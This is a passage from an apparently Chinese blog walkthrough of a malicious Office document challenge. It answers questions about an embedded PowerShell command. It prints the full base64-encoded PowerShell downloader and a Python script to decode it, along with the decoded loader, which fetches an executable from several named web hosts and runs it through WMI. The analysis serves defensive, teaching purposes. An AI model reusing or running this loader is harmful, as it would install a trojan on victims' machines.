osWIUnikOk = Replace$("cLwhWVLMDSQFh3�T7�", "cLwhWVLMDS", "AvYXNNS") End Function
相信你也看见了这句话:
feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq")
这里就是用split函数,将我们刚刚讲的那个当逗号用的那个长字符串用来分隔字符串emm,那其实我们应该很早以前就发现答案了吧。。。哈哈拉着你们和我想这么久。
Q7我们来看看吧,问我们Base64编码字符串执行的是什么程序?
还记得上面那个玩意吗,就是我换成逗号的那个玩意,我们把那个字符串中逗号去掉
1 �powersheLL -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAFAAUgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABkAGUAaQBjAGgAYgBlAHUAZAByAGUAaQByACAAPQAgACcAMwAzADcAJwA7ACQAcQB1AG8AYQBkAGcAbwBpAGoAdgBlAHUAbQA9ACcAZAB1AHUAdgBtAG8AZQB6AGgAYQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=
最上面暴露了,这个就是执行的一个powershell程序(Q7答案),在这里具体就是长这个样子:
1 2 3 4 5 powershell.exe │ └── -e │ └── -EncodedCommand
是的,这剩下的base64就是这个encodedcommand,那我们不妨看看这些个玩意decode之后长什么样子:
丑娃娃,我们用脚本处理一下:
1 2 3 4 5 6 7 8 9 10 11 import base64 data = """YQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=""" data = "".join(data.split()) decoded = base64.b64decode(data).decode("utf-16le") print(decoded) #output:aitgoh';$toehfethxohbaey=$env:userprofile+'\'+$deichbeudreir+'.exe';$sienteed='quainquachloaz';$reusthoas=.('n'+'ew-ob'+'ject') nEt.weBclIenT;$jacleewyiqu='https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/*https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/*http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/*http://holfve.se/images/1ckw5mj49w_2k11px_d/*http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/'."s`PliT"([char]42);$seccierdeeth='duuzyeawpuaqu';foreach($geersieb in $jacleewyiqu){try{$reusthoas."dOWN`loA`dfi`Le"($geersieb, $toehfethxohbaey);$buhxeuh='doeydeidquaijleuc';If ((.('Get-'+'Ite'+'m') $toehfethxohbaey)."l`eNGTH" -ge 24751) {([wmiclass]'win32_Process')."C`ReaTe"($toehfethxohbaey);$quoodteeh='jiafruuzlaolthoic';break;$chigchienteiqu='yoowveihniej'}}catch{}}$toizluulfier='foqulevcaoj'
这下好看多了(虽然还是丑娃娃),不是吗,我都能从里面找到Q8的answer了。不知道你们有没有看见这里:
{([wmiclass]'win32_Process')."CReaTe”
提取的内容显示,该脚本会动态构建有效载荷,下载后使用 WMIWin32_Process类执行。这种技术使攻击者能够隐蔽地启动木马程序,而无需依赖传统的进程执行方法,从而避免了被安全工具检测到的风险。
Q8都出来了,Q9其实也在这里?
问咱们的是什么?已尝试通过多个域名下载木马程序。请根据提示提供第一个完全限定域名 (FQDN)。
依旧是看这里的我们的解码内容,头上这里有一个这个:https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj,该域名haoqunkong.com是脚本中引用的第一个完全限定域名 (FQDN)。脚本会构建并连接此 URL 以获取恶意载荷。URL 中使用 HTTPS 表明脚本试图加密传输,从而增加网络安全工具拦截和分析通信的难度。通过提取完全限定域名 (FQDN) haoqunkong.com,我们可以识别出此次攻击中用于分发木马程序的主要域名。该域名是攻击者基础设施的入口点,对于事件响应团队进行拦截和进一步调查至关重要。
这下,我们的恶意office分析结束了。
留言
欢迎留下想法。留言将由 GitHub Discussions 保存。